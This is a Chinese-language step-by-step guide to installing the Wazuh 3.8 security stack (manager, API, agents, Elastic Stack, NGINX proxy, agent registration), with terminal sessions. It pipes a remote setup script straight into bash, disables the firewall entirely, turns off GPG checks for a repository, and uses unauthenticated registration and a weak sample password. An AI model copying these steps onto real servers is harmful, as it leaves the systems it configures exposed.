wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# rpm -ivh wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# systemctl status wazuh-manager.service ● wazuh-manager.service - Wazuh manager Loaded: loaded (/etc/systemd/system/wazuh-manager.service; enabled; vendor preset: disabled) Active: active (running) since Mon 2019-01-21 09:58:45 UTC; 34s ago Process: 13789 ExecStart=/usr/bin/env ${DIRECTORY}/bin/ossec-control start (code=exited, status=0/SUCCESS) CGroup: /system.slice/wazuh-manager.service ├─13819 /var/ossec/bin/ossec-authd ├─13823 /var/ossec/bin/wazuh-db ├─13841 /var/ossec/bin/ossec-execd ├─13847 /var/ossec/bin/ossec-analysisd ├─13851 /var/ossec/bin/ossec-syscheckd ├─13859 /var/ossec/bin/ossec-remoted ├─13861 /var/ossec/bin/ossec-logcollector ├─13882 /var/ossec/bin/ossec-monitord └─13886 /var/ossec/bin/wazuh-modulesd 四、安装 Wazuh API 要运行Wazuh API，需要NodeJS> = 4.6.1,如果您没有安装NodeJS或者您的版本低于4.6.1，我们建议您添加官方NodeJS存储库，如下所示： [root@wazhu-manage bin]# curl --silent --location https://rpm.nodesource.com/setup_8.x | bash - [root@wazhu-manage bin]# yum install nodejs.x86_64 [root@wazhu-manage bin]# node -v #或者yum install nodejs v6.14 要运行Wazuh API，需要Python> = 2.7。它默认安装或包含在大多数Linux发行版的官方存储库中。要确定系统上的python版本是否低于2.7，可以运行以下命令： [root@wazhu-manage bin]# python --version #Centos7默认python2 Python 2.7.5 [root@wazhu-manage bin]# cd /opt [root@wazhu-manage opt]# wget https://packages.wazuh.com/3.x/yum/wazuh-api-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# ls wazuh-api-3.8.0-1.x86_64.rpm wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# chmod +x wazuh-api-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# rpm -ivh wazuh-api-3.8.0-1.x86_64.rpm #或者yum install wazuh-api [root@wazhu-manage opt]# systemctl start wazuh-api [root@wazhu-manage opt]# systemctl status wazuh-api ● wazuh-api.service - Wazuh API daemon Loaded: loaded (/etc/systemd/system/wazuh-api.service; enabled; vendor preset: disabled) Active: active (running) since Mon 2019-01-21 10:25:30 UTC; 33s ago Docs: https://documentation.wazuh.com/current/user-manual/api/index.html Main PID: 15454 (node) CGroup: /system.slice/wazuh-api.service └─15454 /bin/node /var/ossec/api/app.js Jan 21 10:25:30 wazhu-manage systemd[1]: Started Wazuh API daemon. 防止自动升级： # sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo 五、安装 Wazuh agent 1.centos下安装agent: 1.1. 包安装 [root@wazhu-manage opt]# ls wazuh-api-3.8.0-1.x86_64.rpm wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# wget https://packages.wazuh.com/3.x/yum/wazuh-agent-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# chmod +x wazuh-agent-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# rpm -ivh wazuh-agent-3.8.0-1.x86_64.rpm warning: wazuh-agent-3.8.0-1.x86_64.rpm: Header V4 RSA/SHA1 Signature, key ID 29111145: NOKEY error: Failed dependencies: wazuh-manager conflicts with wazuh-agent-3.8.0-1.x86_64 wazuh-agent conflicts with (installed) wazuh-manager-3.8.0-1.x86_64 # 修改配置文件 vim /var/ossec/etc/ossec.conf # 导入密钥 /var/ossec/bin/manage_agents # 启动服务 /var/ossec/bin/ossec-control start 1.2. yum安装： cat > /etc/yum.repos.d/wazuh.repo <<\EOF [wazuh_repo] gpgcheck=1 gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH enabled=1 name=Wazuh repository baseurl=https://packages.wazuh.com/3.x/yum/ protect=1 EOF [root@wazhu-manage opt]# yum install wazuh-agent 2.ubuntu下安装agent 2.1.包安装 root@agent01:~# cd /opt root@agent01:/opt# wget https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.8.0-1_amd64.deb root@agent01:/opt# dpkg -i wazuh-agent_3.8.0-1_amd64.deb Selecting previously unselected package wazuh-agent. (Reading database ... 92845 files and directories currently installed.) Preparing to unpack wazuh-agent_3.8.0-1_amd64.deb ... Unpacking wazuh-agent (3.8.0-1) ... Setting up wazuh-agent (3.8.0-1) ... Processing triggers for systemd (229-4ubuntu21.4) ... Processing triggers for ureadahead (0.100.0-19) ... 2.2. apt-get安装 # apt-get install curl apt-transport-https lsb-release #安装必要包 # curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add - #安装Wazuh存储库GPG密钥 #echo"deb https://packages.wazuh.com/3.x/apt/ stable main"| tee /etc/apt/sources.list.d/wazuh.list #添加存储库 # apt-get update #更新包信息 ＃ apt-get install wazuh-agent #安装Wazuh代理 #echo"wazuh-agent hold"| sudo dpkg --set-selections #禁用更新 3.windows下安装agent https://packages.wazuh.com/3.x/windows/wazuh-agent-3.8.0-1.msi agent-auth.exe -m 管理端ip -P "管理端密码 agent-auth -m 管理端ip 六、安装Elastic Stack 1.安装elastic stack运行环境包 Logstash和Elasticsearch需要Oracle Java JRE 8 [root@wazhu-manage opt]# curl -Lo jre-8-linux-x64.rpm --header "Cookie: oraclelicense=accept-securebackup-cookie" "https://download.oracle.com/otn-pub/java/jdk/8u202-b08/1961070e4c9b4e26a04e7f5a083f551e/jre-8u202-linux-x64.rpm" [root@wazhu-manage opt]# rpm -qlp jre-8-linux-x64.rpm > /dev/null 2>&1 && echo "Java package downloaded successfully" || echo "Java package did not download successfully" Java package downloaded successfully [root@wazhu-manage opt]# yum -y install jre-8-linux-x64.rpm [root@wazhu-manage opt]# java -version java version "1.8.0_202" 安装Elastic存储库及其GPG密钥: [root@wazhu-manage opt]# rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch [root@wazhu-manage opt]# cat > /etc/yum.repos.d/elastic.repo << EOF > [elasticsearch-6.x] > name=Elasticsearch repository for 6.x packages > baseurl=https://artifacts.elastic.co/packages/6.x/yum > gpgcheck=1 > gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch > enabled=1 > autorefresh=1 > type=rpm-md > EOF [root@wazhu-manage opt]# cat /etc/yum.repos.d/elastic.repo [elasticsearch-6.x] name=Elasticsearch repository for 6.x packages baseurl=https://artifacts.elastic.co/packages/6.x/yum gpgcheck=1 gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch enabled=1 autorefresh=1 type=rpm-md 2.安装elasticsearch [root@wazhu-manage opt]# yum install elasticsearch-6.5.4 [root@wazhu-manage opt]# systemctl daemon-reload [root@wazhu-manage opt]# systemctl enable elasticsearch.service Created symlink from /etc/systemd/system/multi-user.target.wants/elasticsearch.service to /usr/lib/systemd/system/elasticsearch.service. [root@wazhu-manage opt]# systemctl start elasticsearch.service [root@wazhu-manage opt]# systemctl status elasticsearch.service elasticsearch.service - Elasticsearch Loaded: loaded (/usr/lib/systemd/system/elasticsearch.service; enabled; vendor preset: disabled) Active: active (running) since Mon 2019-01-21 11:20:32 UTC; 12s ago Docs: http://www.elastic.co Main PID: 16541 (java) CGroup: /system.slice/elasticsearch.service ├─16541 /bin/java -Xms1g -Xmx1g -XX:+UseConcMarkSweepGC -XX:CMSInitia... └─16604 /usr/share/elasticsearch/modules/x-pack-ml/platform/linux-x86... 等待Elasticsearch服务器完成启动非常重要。使用以下命令检查当前状态，该命令应该给出如下所示的响应： [root@wazhu-manage opt]# curl "http://localhost:9200/?pretty" { "name" : "j2iH056", "cluster_name" : "elasticsearch", "cluster_uuid" : "iHTOPid4SR-EoZ5qX73-kw", "version" : { "number" : "6.5.4", "build_flavor" : "default", "build_type" : "rpm", "build_hash" : "d2ef93d", "build_date" : "2018-12-17T21:17:40.758843Z", "build_snapshot" : false, "lucene_version" : "7.5.0", "minimum_wire_compatibility_version" : "5.6.0", "minimum_index_compatibility_version" : "5.0.0" }, "tagline" : "You Know, for Search" } 为Elasticsearch加载Wazuh模板：(Kibana的Wazuh应用程序需要Elasticsearch模板才能正常工作，因此确保正确插入它非常重要。) [root@wazhu-manage opt]# curl https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/elasticsearch/wazuh-elastic6-template-alerts.json | curl -X PUT "http://localhost:9200/_template/wazuh" -H 'Content-Type: application/json' -d @- % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 19385 100 19385 0 0 96376 0 --:--:-- --:--:-- --:--:-- 96442 建议编辑默认配置以提高Elasticsearch的性能。为此，请参阅Elasticsearch调优。 七、Logstash Logstash是收集，解析和转发数据到Elasticsearch的工具，用于索引和存储Wazuh服务器生成的所有日志。有关更多信息，请参阅Logstash。 1.安装Logstash包: [root@wazhu-manage opt]# yum install logstash-6.5.4 2.下载Logstash的Wazuh配置文件: 本地配置（仅在单主机架构中）: [root@wazhu-manage opt]# curl -so /etc/logstash/conf.d/01-wazuh.conf https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/logstash/01-wazuh-local.conf 由于Logstash用户需要读取alerts.json文件，请运行以下命令将其添加到OSSEC组： [root@wazhu-manage opt]# usermod -a -G ossec logstash 远程配置（仅在分布式架构中）： curl -so /etc/logstash/conf.d/01-wazuh.conf https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/logstash/01-wazuh-remote.con 启用并启动Logstash服务： [root@wazhu-manage opt]# systemctl daemon-reload [root@wazhu-manage opt]# systemctl enable logstash.service Created symlink from /etc/systemd/system/multi-user.target.wants/logstash.service to /etc/systemd/system/logstash.service. [root@wazhu-manage opt]# systemctl start logstash.service [root@wazhu-manage opt]# systemctl status logstash.service logstash.service - logstash Loaded: loaded (/etc/systemd/system/logstash.service; enabled; vendor preset: disabled) Active: active (running) since Mon 2019-01-21 11:33:40 UTC; 10s ago Main PID: 17525 (java) CGroup: /system.slice/logstash.service └─17525 /bin/java -Xms1g -Xmx1g -XX:+UseParNewGC -XX:+UseConcMarkSwee... 八、安装Kibana Kibana是一个灵活，直观的Web界面，用于搜索和可视化在Elasticsearch中。在Kibana上查找更多信息。 1.安装Kibana包： [root@wazhu-manage opt]# yum install kibana-6.5.4 2.为Kibana安装Wazuh应用程序插件：（Kibana插件安装过程可能需要几分钟。请耐心等待） [root@wazhu-manage opt]# sudo -u kibana NODE_OPTIONS="--max-old-space-size=3072" /usr/share/kibana/bin/kibana-plugin install https://packages.wazuh.com/wazuhapp/wazuhapp-3.8.0_6.5.4.zip Attempting to transfer from https://packages.wazuh.com/wazuhapp/wazuhapp-3.8.0_6.5.4.zip Transferring 17809056 bytes.................... Transfer complete Retrieving metadata from plugin archive Extracting plugin archive Extraction complete Optimizing and caching browser bundles... Plugin installation complete 3.Kibana默认只监听环回接口（localhost）。要将Kibana设置为侦听所有接口，请编辑该文件以/etc/kibana/kibana.yml取消注释该设置server.host。将值更改为： [root@wazhu-manage opt]# vi /etc/kibana/kibana.yml server.host: "0.0.0.0" 建议为Kibana设置Nginx代理，以便使用SSL加密并启用身份验证。可以在为Kibana设置SSL和身份验证中找到设置代理的说明。 4.启用并启动Kibana服务： [root@wazhu-manage opt]# systemctl daemon-reload [root@wazhu-manage opt]# systemctl enable kibana.service Created symlink from /etc/systemd/system/multi-user.target.wants/kibana.service to /etc/systemd/system/kibana.service. [root@wazhu-manage opt]# systemctl start kibana.service [root@wazhu-manage opt]# systemctl status kibana.service kibana.service - Kibana Loaded: loaded (/etc/systemd/system/kibana.service; enabled; vendor preset: disabled) Active: active (running) since Mon 2019-01-21 11:51:54 UTC; 7s ago Main PID: 18638 (node) CGroup: /system.slice/kibana.service └─18638 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/sha... 5.（可选）禁用Elasticsearch存储库： 建议禁用Elasticsearch存储库，以防止升级到较新的Elastic Stack版本，因为可能会撤消应用程序的更改。为此，请使用以下命令： sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/elastic.repo 九、通过API连接Wazuh App 通过149.248.9.0:5601访问 Kibana，无法访问，查看本地端口已经监听在0.0.0.0:5601，所以关闭防火墙 [root@wazhu-manage opt]# yum install net-tools [root@wazhu-manage opt]# netstat -ntlp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:1515 0.0.0.0:* LISTEN 13819/ossec-authd tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 3140/sshd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 6246/master tcp 0 0 0.0.0.0:5601 0.0.0.0:* LISTEN 18638/node tcp6 0 0 127.0.0.1:9200 :::* LISTEN 16541/java tcp6 0 0 ::1:9200 :::* LISTEN 16541/java tcp6 0 0 127.0.0.1:9300 :::* LISTEN 16541/java tcp6 0 0 ::1:9300 :::* LISTEN 16541/java tcp6 0 0 :::22 :::* LISTEN 3140/sshd tcp6 0 0 :::55000 :::* LISTEN 15454/node tcp6 0 0 ::1:25 :::* LISTEN 6246/master tcp6 0 0 127.0.0.1:9600 :::* LISTEN 17525/java 1515端口是给agent来获取认证key的，还有1514/udp管理端监听端口，5601/tcp Kibana端口，55000/tcp Wazuh-api 端口看情况开放 [root@wazhu-manage opt]# systemctl disable firewalld [root@wazhu-manage opt]# systemctl stop firewalld [root@wazhu-manage opt]# systemctl status firewalld 访问界面： 添加api之前准备工作： 在填用户名、密码、url、端口之前，要先到Wazuh server主机上，使用命令生成非默认的认证来保护Wazuh API。 [root@wazhu-manage opt]# cd /var/ossec/api/configuration/auth/ [root@wazhu-manage auth]# ls htpasswd user [root@wazhu-manage auth]# [root@wazhu-manage auth]# node htpasswd -c user wazuh-api New password: Re-type new password: Adding password for user wazuh-api. [root@wazhu-manage auth]# ll total 4 lrwxrwxrwx 1 root root 49 Jan 21 10:25 htpasswd -> /var/ossec/api/node_modules/htpasswd/bin/htpasswd -rw-rw---- 1 root root 48 Jan 21 12:38 user [root@wazhu-manage auth]# service wazuh-api restart 可以先访问一下web，看认证是否成功： 进行API认证添加： 点击”Wazuh”按钮 点击”保存Wazuh api” 十、为Kibana设置SSL和身份验证 默认情况下，Kibana（包括Wazuh应用程序）与最终用户系统上的Web浏览器之间的通信未加密。强烈建议将Kibana配置为使用SSL加密并启用身份验证。在本节中，我们将介绍如何使用NGINX设置完成此操作。 NGINX是一种流行的开源Web服务器和反向代理，以其高性能，稳定性，丰富的功能集，简单的配置和低资源消耗而着称。在此示例中，我们将其用作反向代理，以向最终用户提供对Kibana的加密和经过身份验证的访问。 注意：1.下面描述的许多命令都需要以root用户权限执行。2.Kibana Web界面的默认端口是5601。本例将使80和443端口可用于HTTP / HTTPS访问。 1.用于Kibana的NGINX SSL代理（基于RPM的发行版） 1.1.安装NGINX 对于CentOS： [root@wazhu-manage ~]# cat >/etc/yum.repos.d/nginx.repo <<\EOF [nginx] name=nginx repo baseurl=http://nginx.org/packages/centos/$releasever/$basearch/ gpgcheck=0 enabled=1 EOF [root@wazhu-manage ~]# cat /etc/yum.repos.d/nginx.repo [nginx] name=nginx repo baseurl=http://nginx.org/packages/centos/$releasever/$basearch/ gpgcheck=0 enabled=1 [root@wazhu-manage ~]# yum install nginx 注意：有关更多信息，请参阅NGINX：官方Red Hat / CentOS软件包。 1.2.安装SSL证书和私钥 a.如果您拥有有效的签名证书，请将密钥文件<ssl_key>和证书文件复制<ssl_pem>到适当的位置： # mkdir -p /etc/pki/tls/certs /etc/pki/tls/private # cp <ssl_pem> /etc/pki/tls/certs/kibana-access.pem # cp <ssl_key> /etc/pki/tls/private/kibana-access.key b.如果您没有有效的签名证书，请按如下方式创建自签名证书。请记住将字段设置为您的服务器名称。例如，如果您的服务器是，您将执行以下操作： [root@wazhu-manage ~]# mkdir -p /etc/pki/tls/certs /etc/pki/tls/private [root@wazhu-manage ~]# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/pki/tls/private/kibana-access.key -out /etc/pki/tls/certs/kibana-access.pem Generating a 2048 bit RSA private key ......................................................................................+++ ..........+++ writing new private key to '/etc/pki/tls/private/kibana-access.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [XX]:CN State or Province Name (full name) []:sichuan Locality Name (eg, city) [Default City]:chengdu Organization Name (eg, company) [Default Company Ltd]:hcb Organizational Unit Name (eg, section) []:56qq Common Name (eg, your name or your server's hostname) []:56qq.com Email Address []:[email protected] 1.3.将NGINX配置为Kibana的HTTPS反向代理 [root@wazhu-manage ~]#cat > /etc/nginx/conf.d/default.conf <<\EOF server { listen 80; listen [::]:80; return 301 https://$host$request_uri; } server { listen 443 default_server; listen [::]:443; ssl on; ssl_certificate /etc/pki/tls/certs/kibana-access.pem; ssl_certificate_key /etc/pki/tls/private/kibana-access.key; access_log /var/log/nginx/nginx.access.log; error_log /var/log/nginx/nginx.error.log; location / { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/conf.d/kibana.htpasswd; proxy_pass http://kibana-server-ip:5601/; } } EOF [root@wazhu-manage ~]# cat /etc/nginx/conf.d/default.conf server { listen 80; listen [::]:80; return 301 https://$host$request_uri; } server { listen 443 default_server; listen [::]:443; ssl on; ssl_certificate /etc/pki/tls/certs/kibana-access.pem; ssl_certificate_key /etc/pki/tls/private/kibana-access.key; access_log /var/log/nginx/nginx.access.log; error_log /var/log/nginx/nginx.error.log; location / { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/conf.d/kibana.htpasswd; proxy_pass http://localhost:5601/; } } [root@wazhu-manage ~]#vi /etc/kibana/kibana.yml server.host: "localhost" [root@wazhu-manage opt]# systemctl restart kibana.service 注意:我们配置Nginx以封装Kibana服务器的IP地址。此配置允许将Kibana请求重定向到HTTPS。使用此配置时，建议/etc/kibana/kibana.yml编辑文件以将字段设置server.host为localhost。必须重新启动Kibana服务才能应用此更改。auth_basic_user_file是一个存储用户名密码的文件。需要htpasswd命令来生成 1.如果正在使用SELinux，则允许NGINX连接到Kibana端口： # semanage port -a -t http_port_t -p tcp 5601 这假设您已policycoreutils-python安装以管理SELinux。 2.通过htpasswd启用身份验证 1.安装包httpd-tools： [root@wazhu-manage conf.d]# yum install httpd-tools 2.生成.htpasswd文件。确保替换wazuh为您选择的用户名，与auth_basic_user_file匹配： [root@wazhu-manage conf.d]# htpasswd -c /etc/nginx/conf.d/kibana.htpasswd wazuh New password: Re-type new password: Adding password for user wazuh 3.重启NGINX： [root@wazhu-manage conf.d]# systemctl restart nginx [root@wazhu-manage conf.d]# systemctl status nginx ● nginx.service - nginx - high performance web server Loaded: loaded (/usr/lib/systemd/system/nginx.service; disabled; vendor preset: disabled) Active: active (running) since Tue 2019-01-22 05:11:32 UTC; 12s ago Docs: http://nginx.org/en/docs/ Process: 10934 ExecStart=/usr/sbin/nginx -c /etc/nginx/nginx.conf (code=exited, status=0/SUCCESS) Main PID: 10935 (nginx) CGroup: /system.slice/nginx.service ├─10935 nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf └─10936 nginx: worker process Jan 22 05:11:32 wazhu-manage systemd[1]: Starting nginx - high performance web server... Jan 22 05:11:32 wazhu-manage systemd[1]: Started nginx - high performance web server. 现在，通过HTTPS访问Kibana Web界面。它将提示您输入在上述步骤中创建的用户名和密码。 警告：如果您遇到权限问题或获得502代码错误，请尝试执行以下命令： setsebool -P httpd_can_network_connect 1 其中的wazuh可以更换为自己想要的用户名(上面的路径需要和nginx里配置的密码路径一致)。回车后，会提示输入密码俩次。输入一致后就完成用户的创建，这是我们可以vim下 kibana.htpasswd 看看，里面是加密过后的密码。 十、注册agent 1.注册过程 每个Wazuh代理都通过称为OSSEC消息协议的安全方式将数据发送到Wazuh Manager。这使用预共享密钥加密消息。最初，当您成功安装新的Wazuh代理时，由于缺少预共享密钥，因此无法与Wazuh Manager通信。 注册过程包括在Manager和代理之间创建信任关系的机制。此过程可以在Manager本身或注册服务中完成。此服务在Manager上运行，代理可以使用某些凭据请求预共享密钥。管理器将使用密钥进行回复，并将新代理存储在本地数据库中。 另一种方法是使用RESTful API，这只是Wazuh Manager上本地注册的包装器。 2.agent key 管理器使用该文件/var/ossec/etc/client.keys存储每个代理的注册记录，其中包括ID，名称，IP和密钥。例： 001Server1anye20e0394dca71bacdea57d4ca25d203f836eca12eeca1ec150c2e5f4309a653a 002ServerProd192.246.247.247b0c5548beda537daddb4da698424d0856c3d4e760eaced803d58c07ad1a95f4c 003DBServer192.168.0.1/248ec4843da9e61647d1ec3facab542acc26bd0e08ffc010086bb3a6fc22f6f65b 代理还具有/var/ossec/etc/client.keys仅包含其自己的注册记录的文件。Server1代理示例： 001 Server1 any e20e0394dca71bacdea57d4ca25d203f836eca12eeca1ec150c2e5f4309a653a 注册代理的基本数据 要注册代理，必须提供代理的名称和IP。 有几种方法可以设置代理IP： 任何IP：允许代理从任何IP地址进行连接。示例：Server1有anyIP。 固定IP：允许代理仅从指定的IP连接。示例：ServerProd拥有IP 192.246.247.247。 范围IP：允许代理从指定的IP范围进行连接。示例：DBServer具有IP范围192.168.0.1/24。 一些注册方法在注册过程中自动检测代理的IP。 3.注册方法 以下是注册代理的三种方法： 类型方法描述 手动 使用命令行 使用manage_agents二进制文件手动注册代理。 自动 使用注册服务 使用ossec-authd二进制文件自动注册代理。 使用RESTful API 通过脚本（bash，python，powershell）和API注册代理。 注意:如果您在群集模式下运行Wazuh，请参阅配置群集部分以获取有关群集中注册过程的更多详细信息。 3.1.手动命令注册 要注册代理，请按照下列步骤操作： 1.在 manager上，运行manage_agents [root@wazhu-manage bin]# /var/ossec/bin/manage_agents 2.选择A以添加代理。系统将要求您提供代理的名称（使用代理主机名或其他任意名称），IP地址和代理ID（此字段可以留空以自动分配ID）。 在此示例中，我们将添加名为“Example”的代理，动态IP（任意）和自动ID： **************************************** * Wazuh v3.8.0 Agent manager. * * The following options are available: * **************************************** (A)dd an agent (A). (E)xtract key for an agent (E). (L)ist already added agents (L). (R)emove an agent (R). (Q)uit. Choose your action: A,E,L,R or Q: A - Adding a new agent (use '\q' to return to the main menu). Please provide the following: * A name for the new agent: agent01 * The IP Address of the new agent: 45.77.105.194 Confirm adding it?(y/n): y Agent added with ID 001. 3.提取新代理的密钥。您将需要 agent： **************************************** * Wazuh v3.8.0 Agent manager. * * The following options are available: * **************************************** (A)dd an agent (A). (E)xtract key for an agent (E). (L)ist already added agents (L). (R)emove an agent (R). (Q)uit. Choose your action: A,E,L,R or Q: E Available agents: ID: 001, Name: agent01, IP: 45.77.105.194 Provide the ID of the agent to extract the key (or '\q' to quit): 001 Agent key information for '001' is: MDAxIGFnZW50MDEgNDUuNzcuMTA1LjE5NCBjOWNkZjNhNzBmN2YyNDRlNTFkNGZkOWI5MGZhNTUxZGIwMDZhYTA2YWZkNzdmMzExMDZhYjg3ZTk4YjkyNmY0 4.选择Q退出manage_agents **************************************** * Wazuh v3.8.0 Agent manager. * * The following options are available: * **************************************** (A)dd an agent (A). (E)xtract key for an agent (E). (L)ist already added agents (L). (R)emove an agent (R). (Q)uit. Choose your action: A,E,L,R or Q: Q manage_agents: Exiting. 5.在agent上执行manage_agents： root@agent01:/# /var/ossec/bin/manage_agents **************************************** * Wazuh v3.8.0 Agent manager. * * The following options are available: * **************************************** (I)mport key from the server (I). (Q)uit. Choose your action: I or Q: 6.选择我以导入密钥并粘贴您在管理器上提取的密钥 **************************************** * Wazuh v3.8.0 Agent manager. * * The following options are available: * **************************************** (I)mport key from the server (I). (Q)uit. Choose your action: I or Q: I * Provide the Key generated by the server. * The best approach is to cut and paste it. *** OBS: Do not include spaces or new lines. Paste it here (or '\q' to quit): MDAxIGFnZW50MDEgNDUuNzcuMTA1LjE5NCBjOWNkZjNhNzBmN2YyNDRlNTFkNGZkOWI5MGZhNTUxZGIwMDZhYTA2YWZkNzdmMzExMDZhYjg3ZTk4YjkyNmY0 Agent information: ID:001 Name:agent01 IP Address:45.77.105.194 Confirm adding it?(y/n): Y Added. **************************************** * Wazuh v3.8.0 Agent manager. * * The following options are available: * **************************************** (I)mport key from the server (I). (Q)uit. Choose your action: I or Q: q manage_agents: Exiting. 7.选择“Q”退出manage_agents。 8.编辑Wazuh代理配置/var/ossec/etc/ossec.conf以添加Wazuh管理器IP地址。在该<client><server>部分中，将MANAGER_IP值更改为Wazuh经理地址 root@agent01:/# vi /var/ossec/etc/ossec.conf 9.重启代理： root@agent01:#/var/ossec/bin/ossec-control restart root@agent01:/# systemctl restart wazuh-agent root@agent01:/# systemctl status wazuh-agent wazuh-agent.service - Wazuh agent Loaded: loaded (/etc/systemd/system/wazuh-agent.service; enabled; vendor preset: Active: active (running) since Tue 2019-01-22 07:25:47 UTC; 11s ago Process: 4466 ExecStart=/usr/bin/env ${DIRECTORY}/bin/ossec-control start (code=e Tasks: 20 Memory: 8.0M CPU: 682ms CGroup: /system.slice/wazuh-agent.service ├─4492 /var/ossec/bin/ossec-execd ├─4497 /var/ossec/bin/ossec-agentd ├─4504 /var/ossec/bin/ossec-syscheckd ├─4509 /var/ossec/bin/ossec-logcollector └─4519 /var/ossec/bin/wazuh-modulesd Jan 22 07:25:45 agent01 systemd[1]: Starting Wazuh agent... Jan 22 07:25:45 agent01 env[4466]: Starting Wazuh v3.8.0... Jan 22 07:25:45 agent01 env[4466]: Started ossec-execd... Jan 22 07:25:45 agent01 env[4466]: Started ossec-agentd... Jan 22 07:25:45 agent01 env[4466]: Started ossec-syscheckd... Jan 22 07:25:45 agent01 env[4466]: Started ossec-logcollector... Jan 22 07:25:45 agent01 env[4466]: Started wazuh-modulesd... Jan 22 07:25:47 agent01 env[4466]: Completed. Jan 22 07:25:47 agent01 systemd[1]: Started Wazuh agent 4.强制插入注册 如果您尝试添加具有已注册到其他代理的IP地址的代理，该manage_agents命令将返回错误。您仍然可以使用-F选项强制添加。安装了名为Server1的IP 10.0.0.10 的代理，并且ID为005.如果我们假设我们必须重新安装服务器，则必须重新安装新的代理并将其连接到管理器。在这种情况下，我们可以使用参数-F 0，这意味着将删除先前的代理（005）（使用备份），并且将使用IP重新创建新代理。新代理将具有新ID： /var/ossec/bin/manage_agents-nServer1-a10.10.10.10-F0 5.ossec-authd服务自动注册aegnt 该ossec-authd服务允许客服端自动注册agent. 在管理服务器(manage)上使用ossec-authd启动注册服务。 在代理主机（agent)上使用agent-auth用于连接到注册服务。 使用默认选项配置在管理服务器上启动守护程序将允许任何代理自行注册，然后连接到它。下面提供了一些授权连接的机制的表格如下： 类型 方法 描述 不安全 简单的方法 最简单的方法。没有身份验证或主机验证。 安全 密码授权 允许代理通过共享密码进行身份验证。此方法很简单，但不执行主机验证。 使用SSL进行主机验证 使用SSL验证管理器 管理员的证书由代理用于验证服务器的CA签名。这可能包括主机检查。 使用SSL验证代理 通过主机验证 与上述相同，但管理服务器验证代理主机的证书和地址。每个代理主机应该有一个证书。 没有主机验证 管理服务器通过CA验证代理主机，但不验证主机地址。此方法允许使用共享代理证书。 注意：可以通过组合方式在注册代理过程中提供更合理的安全注册方法。 5.1. 先决条件 注册服务需要管理服务器上的SSL证书才能工作。如果系统已有openssl包，则在安装过程中将自动生成一个新包(cenos7默认生成）。证书及其密钥将在/var/ossec/etc/目录下生成。可以将有效证书与其密钥一起使用，只需将它们复制到同一路径即可： ＃ CP <ssl_cert> /var/ossec/etc/sslmanager.cert ＃ CP <ssl_key> /var/ossec/etc/sslmanager.key 否则，您可以使用以下命令创建自签名证书： openssl req -x509 -batch -nodes -days 365 -newkey rsa:2048 -out /var/ossec/etc/sslmanager.cert -keyout /var/ossec/etc/sslmanager.key 5.2.简单的方法注册 这是注册代理的最简单方法，它不需要任何类型的授权或主机验证。为此，请按照下列步骤操作之一： 1.在服务器上启动注册服务： [root@wazhu-manage etc]# /var/ossec/bin/ossec-authd 2.在代理主机上使用agent-auth命令然后加上管理器的IP地址运行程序： a.对于Linux系统： root@agent01:~# cd /opt root@agent01:/opt# wget https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.8.0-1_amd64.deb root@agent01:/opt# dpkg -i wazuh-agent_3.8.0-1_amd64.deb Selecting previously unselected package wazuh-agent. (Reading database ... 92845 files and directories currently installed.) Preparing to unpack wazuh-agent_3.8.0-1_amd64.deb ... Unpacking wazuh-agent (3.8.0-1) ... Setting up wazuh-agent (3.8.0-1) ... Processing triggers for systemd (229-4ubuntu21.4) ... Processing triggers for ureadahead (0.100.0-19) .. root@agent01:/# vi /var/ossec/etc/ossec.conf <server> <address>149.248.9.0</address> <port>1514</port> <protocol>udp</protocol> </server> root@agent02:/var/ossec/bin# /var/ossec/bin/agent-auth -m 149.248.9.0 2019/01/22 09:29:20 agent-auth: INFO: Started (pid: 4277). INFO: No authentication password provided. INFO: Connected to 149.248.9.0:1515 INFO: Using agent name as: agent02 INFO: Send request to manager. Waiting for reply. INFO: Received response with agent key INFO: Valid key created. Finished. INFO: Connection closed. root@agent02:#/var/ossec/bin/ossec-control restart b.对于Windows系统：(其他条件要启动代理和配置好代理的服务器IP地址） # C:\Program Files (x86)\ossec-agent\agent-auth.exe -m <MANAGER_IP_ADDRESS> 5.3.安全的密码授权注册 您可以使用密码保护管理服务器免受未经授权的代理注册。自己选择一个或让注册服务生成一个随机密码。要启用密码授权，请使用-P参数来运行注册服务。 1.在管理服务器上执行以下步骤： a.要使用自定义密码，请编辑/var/ossec/etc/authd.pass文件进行修改。例如，如果我们想使用passw0rd作为密码： [root@wazhu-manage etc]# echo "passw0rdt=" > /var/ossec/etc/authd.pass [root@wazhu-manage etc]# /var/ossec/bin/ossec-authd -P 